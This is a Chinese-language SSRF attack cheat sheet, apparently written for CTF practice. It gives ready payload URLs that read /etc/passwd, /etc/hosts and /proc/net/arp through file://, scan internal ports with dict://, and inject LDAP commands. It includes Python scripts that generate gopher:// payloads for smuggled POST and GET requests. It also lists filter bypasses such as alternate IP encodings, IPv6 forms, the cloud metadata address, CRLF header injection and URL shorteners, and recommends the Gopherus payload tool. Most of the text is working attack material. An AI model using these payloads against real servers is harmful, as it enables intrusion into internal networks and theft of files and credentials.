优秀的人,不是不合群,而是他们合群的人里面没有你
SSRF
SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的 一个安全漏洞。 一般情况下,SSRF攻击的目标是从外网无法访问的 内部系统 。(因为它是由服务端发起的,所以它能 够请求到与它相连而与外网隔离的内网。也就是说可以利用一个网络请求的服务,当作跳板进行攻击)
一般出现在:
- 转码服务
- 在线翻译
- 给一个框然后输入ip地址的
- 图片加载与下载(通过URL地址加载或下载图片)
- 图片、文章收藏功能
- 网站采集、网页抓取的地方。
- 头像的地方。(远程加载头像)
- 一切要你输入网址的地方和可以输入ip的地方。
- 从URL关键字中寻找: share 、 wap 、 url 、 link 、 src 、 source 、 target 、 u 、 3g 、 display 、 sourceURl 、 imageURL 、 domain
所以当出现要输入一个网址或者ip时,我们可以先输一下www/.baidu/.com发现是把百度网页源代码都扒下来了,然后我们再输一下本地127.0.0.1,发现有回显,考虑ssrf漏洞。
SSRF:对应input输入框加载网址或图片等,直接访问文件服务器看看。
file:///var/www/html/index.html(或flag.php)
file:///etc/hosts
可能直接得到flag,也可能告诉你一个内网地址,然后,我们就抓包,并爆破。
格式:file://机器的IP地址/目录/文件,例如要打开D盘images文件夹中的111.png文件,那么可以在资源管理器或IE地址栏中键入
file://D:/images/111.png
然后回车。
注:(1)对于本地机器,机器的IP地址可变成127.0.0.1或local,过滤了127.0.0.1,可以使用127.0.1或者127.1绕过,或者过滤的127.0.0.1用十进制2130706433代替。
案例:
目前只能说抓包发现长这样,根据提示修改flag.txt
造成ssrf的函数
fsockopen() 打开网络的链接
file_get_contents() 打开文件
curl_exec() 执行指定的会话任务
SSRF中URL的伪协议
file:/// 从文件系统中获取文件内容,如,file:///etc/passwd
http://example.com/ssrf.php?url=file:///etc/passwd
http://example.com/ssrf.php?url=file:///C:/Windows/win.ini
http://example.com/ssrf.php?url=file:///var/www/html/flag.php
dict:// 字典服务器协议,访问字典资源,如,dict:///ip:6739/info:
sftp:// SSH文件传输协议或安全文件传输协议
ldap:// 轻量级目录访问协议
http://example.com/ssrf.php?url=ldap://localhost:1337/%0astats%0aquit
http://example.com/ssrf.php?url=ldaps://localhost:1337/%0astats%0aquit
http://example.com/ssrf.php?url=ldapi://localhost:1337/%0astats%0aquit
tftp:// 简单文件传输协议
gopher:// 分布式文档传递服务,可使用gopherus生成payload
如果是自带url访问:xx.com/checkurl=127.0.0.1:80这样,可以爆破端口号,或者修改成
xx.com/checkurl=127.0.0.1:80/flag.txt碰运气
xx.com/checkurl=127.0.0.1:80/flag.php碰运气
file
第一步
file:///etc/passwd
查看用户信息
第二步
file:///etc/hosts
查看网络信息,可以看到是哪个IP,在哪个网段
第三步
根据上一步获取到的网段,批量从1-254测试IP地址,测试完成在根据arp协议看看哪些存活主机,也可以根据爆破结果看,爆破用bupr,里面payload选择number,从1-254,setp是1
file:///proc/net/arp
arp缓存表,寻找内网其他主机
主要还是通过file协议读取flag
dict
通过上file协议,可以知道内网有哪些主机存活。比如发现192.168.6.4主机存活
接下来就是测试主机开放哪些端口
dict是字典协议,使用方法还是用burp,首先在网页输入的位置输入:
dict://192.168.6.4:80
然后点击发送,抓包,同样的,修改后面的端口号,可以用字典或者全部1-65545.这样就能完整的获取到内网主机的开放服务
利用ssrf信息收集
使用http协议,说白了还是爆破,输入网址,抓包,加上目录后缀爆破,根据返回长度就知道哪个目录或者文件存在了。
gopher伪协议
gopher伪协议比http协议更老更牛,它支持get,post,redis,fastcgi,sql请求方法。
格式:
输入框:gopher://<host>:<ip>/<提交的内容>
gopher://192.168.2.12:8888/abcd
这个时候192.168.2.12的8888端口会收到bcd三个字符
一定要加上端口,因为gopher默认端口是70
gopher提交不发送第一个字符,所以发送的时候要注意了,要加上一个任意填充符号
gopher://192.168.2.12:8888/xabcd
这样就行了。
如何使用gopher伪协议发送get请求?
- burp抓包
修改发送的请求包
第一行原本内容 GET /ssrf.php HTTP/1.1
根据上面信息收集扫描目录,发现当前测试请求具体存活的是name.php,则修改成GET /name.php?id=nishituhao HTTP/1.1
第二行原本内容 Host:192.168.2.12
修改 信息收集得到当前测试的具体存活的IP 和 端口Host:192.168.2.66
第三行 一个回车空行
然后把这三行的内容进行URL编码,然后粘贴到gopher请求中
gopher://192.168.2.12:8888/_GET%20/name.php%3Fid%3Dnishituhao%20HTTP/1.1%0d%0AHost%3A192.168.2.66%0d%0A
注意换行符号%0d%0A,问号%3f
发送post请求,也是固定格式
POST /name.php HTTP/1.1
Host:192.168.2.66
Content-Type:application/x-www-form-urlencode
Content-Length:15
id=nishishuaige
注意文本长度要和下面的对应起来,再向上面一样发送。发送的id,这个词是通过右键查看源代码知道的
通过python脚本来实现!!这是post请求
import urllib.parse
host = "127.0.0.1:80"
content = "uname=admin&passwd=admin"
content_length = len(content)
payload =\
"""POST /index.php HTTP/1.1
Host: {}
User-Agent: curl/7.43.0
Accept: */*
Content-Type: application/x-www-form-urlencoded
Content-Length: {}
{}
""".format(host,content_length,content)
tmp = urllib.parse.quote(payload) #对payload中的特殊字符进行编码
new = tmp.replace('%0A','%0D%0A') #CRLF(换行)漏洞
result = 'gopher://127.0.0.1:80/'+'_'+new
result = urllib.parse.quote(result)# 对新增的部分继续编码
print(result)
这是get请求
import urllib.parse
host = "127.0.0.1:80"
cookie="this_is_your_cookie=YWRtaW4nICM="
test =\
"""GET /index.php HTTP/1.1
Host: {}
Connection: close
Content-Type: application/x-www-form-urlencoded
Cookie:{}
""".format(host,cookie)
tmp = urllib.parse.quote(test)
new = tmp.replace("%0A","%0D%0A")
result = urllib.parse.quote(new)
print("gopher://"+host+"/_"+result)
Bypass
1、限制为http://www.xxx.com 域名时(利用@)
可以尝试采用http基本身份认证的方式绕过 如:
http://www.aaa.com@www.bbb.com@www.ccc.com
,在对@解析域名中,不同的处理函数存在处理差异在PHP的parse_url中会识别www.ccc.com,而libcurl则识别为www.bbb.com。
举例:传入url的值为http://www.baidu.com@dl01.rong360.com/
此时通过url解析出来的host为dl01.rong360.com
举例:URL重定向,某些情况下,后端程序可能户对访问的URL进行解析,对解析出来的host地址进行过滤,这时候可能会出现URL参数解析不当导致绕过
传入url的值为http://www.langzi.666.haoshuai.com@127.0.0.1/flag.txt
2、过滤127关键词采用进制转换
127.0.0.1的不同进制绕过
8进制格式:0177.00.00.01
16进制格式:0x7f.0x0.0x0.0x1
10进制整数格式:2130706433
还可以用http://localhost来替换,再不行就127.0.0.2这也是一样的
3.利用[::]
可以利用[::]来绕过localhost,不加端口的话是http://[::]/
http://169.254.169.254 =>> http://[::169.254.169.254]/
http://127.0.0.1:80 =>> http://[::]:80/
4、利用句号
127。0。0。1 >>> 127.0.0.1
5、CRLF 编码绕过
%0d->0x0d->\r回车
%0a->0x0a->\n换行
进行HTTP头部注入
example.com/?url=http://eval.com%0d%0aHOST:fuzz.com%0d%0a
6、利用短链接
将http://127.0.0.1/flag.php进行短链接编码后成为
http://985.so/kc049
可以用站长之家或者https://www.ft12.com/都可以
自动化工具
Gopherus是专为生成Gopher协议Payload的工具
用这个,python2下运行
https://github.com/tarunkant/Gopherus
这玩意太好用了,谁说不好用呢,注意哈,如果是执行命令之类的,就用fastcgi。
生成后的结果需要进行url编码后在传输。
如可使用看这篇文章!